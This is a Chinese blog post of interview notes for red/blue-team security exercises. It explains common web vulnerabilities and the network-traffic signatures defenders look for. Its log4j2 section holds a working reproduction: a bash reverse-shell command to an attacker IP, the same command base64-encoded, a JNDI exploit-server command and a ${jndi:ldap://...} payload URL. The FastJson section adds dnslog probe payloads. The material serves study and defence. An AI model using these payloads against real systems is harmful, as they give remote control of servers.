hw面试总结

2024-06-14 11:44
文章标签 面试 总结 hw

本文主要是介绍hw面试总结,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里给大家推荐一个阿里云的活动,可白嫖一年2h4g服务器
活动链接:https://university.aliyun.com/mobile?clubTaskBiz=subTask…11404246…10212…&userCode=ks0bglxp
在这里插入图片描述
在这里插入图片描述

一、漏洞分析

1.SQL注入

原理:

当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据

危害:

  1. 泄露大量的用户信息。

  2. 获取管理员密码:攻击者也可以通过获取到的数据,得到后台管理员的密码,然后对网页页面进行恶意篡改。这样不仅对数据库信息安全造成严重威胁,对整个数据库系统安全也影响重大。

  3. 删除数据库,对企业造成重大损失。

1.1.SQL注入常见关键字

1.user()返回当前使用数据库的用户

2.current_user()返回当前用户所对应的授权用户

3.version()返回当前数据库版本信息

4.database()返回当前数据库名

5.group_concat()把数据库中的某列数据或几列数据合并为一个字符串

6.@@datadir数据库路径

7.@@version_compile_os操作系统版本

1.2.分类

1.联合查询

2.布尔盲注

length(),ascii(),mid(),substr(),ord()

3.时间盲注

if(),sleep().benchmark()

4.报错注入

5.宽字节注入

2.XSS

原理:

跨站脚本(Cross-site scripting,简称XSS),是指恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web页面的HTML代码会被执行,从而达到恶意攻击用户的目的。

危害:

1)钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼 JavaScript 以监控目标网站的表单输入,甚至发起基于 DHTML 更高级的钓鱼攻击方式。

2)网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。

3)身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。

4)盗取网站用户信息:当能够窃取到用户 Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。

5)垃圾信息发送:比如在 SNS 社区中,利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

6)劫持用户 Web 行为:一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送与接收的数据等等。

7)XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。

1.1分类

反射性:也叫做非持久型XSS。攻击者将恶意脚本附加到 url 的参数中,发送给受害者,服务端未经严格过滤处理而输出在用户浏览器中,导致浏览器执行代码数据。

存储型:也叫做持久型XSS。存储型XSS会被保存到数据库,在其他用户访问到这条数据时,这个代码会在访问用户的浏览器端执行。

DOM型

3.文件上传漏洞

原理:

上传文件的时候,如果服务器端后端语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。常见场景是web服务器允许用户上传图片或者普通文本文件保存,而攻击者绕过上传机制上传恶意代码文件并执行从而控制服务器。

危害:

攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器。

1.1.漏洞防御措施

1、 上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。

2、 对文件后缀的判断中使用白名单的方式。

3、 文件服务器和web服务器分离,也就是上传的文件单独存放到其他的服务器之中。

4、 不需要返回文件路径的情况下,随机改写文件名。

4.跨站请求伪造漏洞

5.服务器请求伪造

6.RCE

7.Struts2-045

漏洞原因:

基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达式的URL导致远程代码执行。

8.log4j2(必问)

漏洞原理:

log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面是触发漏洞的两部分关键代码:
1.org·apache.logging.log4j.core.pattern.MessagePatternconverter 的 format()方法(表达式内容替换)
2.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)
这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${}就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。

在 ${}中可以使用的部分关键词如下:

${java:version}getSystemProperty("java.version")
${java:runtime} getRuntime()
${java:vm) getVirtualMachine()
${java:os} getOperatingSystem()
${java:hw} getHardware( )
${java:locale} getLocale()${env:CLASSPATH}
${env:HOME}
${env:JAVA_HOME}
${env:LANG}
${env:LC_TERMINAL}${jndi:ldap://ip/port/exp}

最终效果就是通过jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令

JNDI介绍

Java Naming and Directory Interface,JAVA命名和目录接口(命名服务接口)应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。
JNDI可以访问以下命名/目录服务:
。RMI(JAVA远程方法调用)
。LDAP(轻量级目录访问协议)
。CORBA(公共对象请求代理体系结构)
。DNS(域名服务)

LDAP协议

LDAP(Ligntweight Directory Access Protocol),轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。默认服务端口389
在这里插入图片描述
在这里插入图片描述

复现过程:

首先检测站点是否存在JNDI注入漏洞

使用dnslog平台生成一个临时域名

在这里插入图片描述

在要测试的站点中使用jndi访问此域名,若能解析代表存在jndi注入漏洞

注入点是/admin/cores?action=

那么就在此处传入192.168.31.63:8983/solr/admin/cores?action=${jndi:dns://ylx7kn.dnslog.cn}

发现dnslog平台有解析记录说明该站点存在此jndi注入漏洞

在这里插入图片描述

1.构造反弹shell payload

将目标shell反弹到 192.168.31.90/6666 上

bash -i >& /dev/tcp/192.168.31.90/6666 0>&1

进行base64编码,因为可能会对特殊字符进行过滤

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjkwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar将我们的攻击机作为ldap服务端

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjkwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}” -A “192.168.31.90”

在这里插入图片描述

开启监听我们攻击机的6666端口

在这里插入图片描述

随后在存在JNDI注入漏洞的站点,将我们构造好的payload传入

http://192.168.31.63:8983/solr/admin/cores?action=${jndi:ldap://192.168.31.90:1389/Exploit}

在这里插入图片描述

返回攻击机查看发现成功拿到目标shell

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

9.FastJson

原理

fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,就会读取 @type 的内容,试图把JSON内容反序列化成这个对象,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链

java.net.InetAddress 这个类在实例化时会尝试对 example.com 进行域名解析,这时候可以通过 dnslog的方式得知漏洞是否存在,比如如下的存在

{"name" :{"@type" :"java.net.InetAddress""va1":"任意字符,qydzoe.dnslog.cn"}
}{"name" : {"@type" :"Ljava.net.InetAddress;""val":"任意字符.qydzoe.dnslog.cn"}
}{"name" :{"@type":"LLjava.net.InetAddress;""va1":"任意字符.qydzoe.dnslog.cn"}
}

10.shiro-550

一句话总结,shiro框架提供了记住密码的功能,然后在生成cookie时使用了AES加密,AES是对称加密,采用了默认秘钥。所以攻击就能使用默认秘钥进行构造恶意cookie,从而达到反弹shell

Shiro550和Shiro721利用过程中有着显著的区别
1、Shiro550漏洞,使用已知的密钥进行攻击(秘钥是固定或者默认的),这意味着攻击者可以利用硬编码的AES密钥,来构造恶意的序列化对象。攻击者不需要拥有有效的RememberMe Cookier来执行攻击,只要有足够的密钥库即可。

2、Shiro721漏洞,加密使用的密钥是系统随机生成的,这使得攻击者难以直接猜测或使用已知的密钥进行攻击。攻击者需要利用登录后的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造RememberMe Cookie值来实现反序列化漏洞攻击。相比Shiro550,Shiro721的利用条件更高,因为它要求攻击者已经拥有一个有效的登录会话

二、流量特征

1.SQL注入流量分析

会有明显的注入语句。判断是否注入成功可以查找是否返回数据库名通过

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

因为我们是防守人员可以直接查找响应中是否返回了我们的数据库名

在这里插入图片描述

sqlmap流量特征

sqlmap会在注入点尝试大量的注入,可以明显观察到很多相似的数据流

最重要的是sqlmap会将自己的版本号在UA投中输出

在这里插入图片描述
在这里插入图片描述

2.XSS流量分析

反射型在url中能观察到明显的js语句
在这里插入图片描述

3.文件上传流量分析

上传正常文件时,流量会显示正确的文件类型

在这里插入图片描述

查看正常上传的响应包

在这里插入图片描述

而如果上传的是木马文件则不会在流量描述中显示文件类型

在这里插入图片描述

在这里插入图片描述

可以查看上传的内容显示分组字节,发现是一句话木马

在这里插入图片描述

攻击者会验证是否上传成功,这种流量则是能够查看到访问了文件上传的目录且通过追踪流会看到执行了什么命令

在这里插入图片描述

在这里插入图片描述

4.目录扫描流量分析

会有大量404,切夹杂着很多不同目录

在这里插入图片描述

5.口令爆破流量分析

会有大量相同的请求长度,且响应长度相同

在这里插入图片描述

在响应长度中会有一个不同的,这个就是爆破成功的响应

在这里插入图片描述

查看传入数据也为正确

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

6.RCE流量分析

可以看到whoami这是明显的命令

在这里插入图片描述

在响应中也找到了whoami执行的结果

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以查看到明显的木马
在这里插入图片描述

再查看响应

这种木马是输出了一个文件所以这里无法查看,那么就要看攻击者是否使用了一句话木马

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现访问此前上传的木马,并且扎起下方有一个post请求,查看post请求执行了什么

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这说明攻击者已经拿到了服务器的控制权了

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

7.log4j2流量分析

网站流量中有明显的jndi注入语句

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

且在利用时会请求恶意的java类

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查看此流量可以观察到base64编码后的反弹shell命令

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

8.FastJson流量分析

@tyep

9.shiro流量分析

工具探测shiro流量

请求包这种cookie会有remenberMe=yes

爆破秘钥流量,会有大量探测cookie的请求包

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

没有爆破成功会有响应remenberMe=deletMe

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

成功则没有

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

命令执行流量特征

请求包中会有执行的命令,且响应包会返回对应命令的结果

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

10.Struts2流量分析

工具探测流量

会有大量相似请求,且其中会有大量%,@,且会有multipart/from-data

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

命令执行流量

Struts2-045

会更改Content-Type,且会在其中看到命令

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

命令执行结果是通过tcp流量传回

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

11.weblogic流量分析

大部分是t3协议

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这篇关于hw面试总结的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1060314

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

秋招最新大模型算法面试,熬夜都要肝完它

💥大家在面试大模型LLM这个板块的时候,不知道面试完会不会复盘、总结,做笔记的习惯,这份大模型算法岗面试八股笔记也帮助不少人拿到过offer ✨对于面试大模型算法工程师会有一定的帮助,都附有完整答案,熬夜也要看完,祝大家一臂之力 这份《大模型算法工程师面试题》已经上传CSDN,还有完整版的大模型 AI 学习资料,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库:创建新文件夹,进入文件夹目录,执行指令 git init ,用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的

二分最大匹配总结

HDU 2444  黑白染色 ,二分图判定 const int maxn = 208 ;vector<int> g[maxn] ;int n ;bool vis[maxn] ;int match[maxn] ;;int color[maxn] ;int setcolor(int u , int c){color[u] = c ;for(vector<int>::iter

整数Hash散列总结

方法:    step1  :线性探测  step2 散列   当 h(k)位置已经存储有元素的时候,依次探查(h(k)+i) mod S, i=1,2,3…,直到找到空的存储单元为止。其中,S为 数组长度。 HDU 1496   a*x1^2+b*x2^2+c*x3^2+d*x4^2=0 。 x在 [-100,100] 解的个数  const int MaxN = 3000

状态dp总结

zoj 3631  N 个数中选若干数和(只能选一次)<=M 的最大值 const int Max_N = 38 ;int a[1<<16] , b[1<<16] , x[Max_N] , e[Max_N] ;void GetNum(int g[] , int n , int s[] , int &m){ int i , j , t ;m = 0 ;for(i = 0 ;

go基础知识归纳总结

无缓冲的 channel 和有缓冲的 channel 的区别? 在 Go 语言中,channel 是用来在 goroutines 之间传递数据的主要机制。它们有两种类型:无缓冲的 channel 和有缓冲的 channel。 无缓冲的 channel 行为:无缓冲的 channel 是一种同步的通信方式,发送和接收必须同时发生。如果一个 goroutine 试图通过无缓冲 channel

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果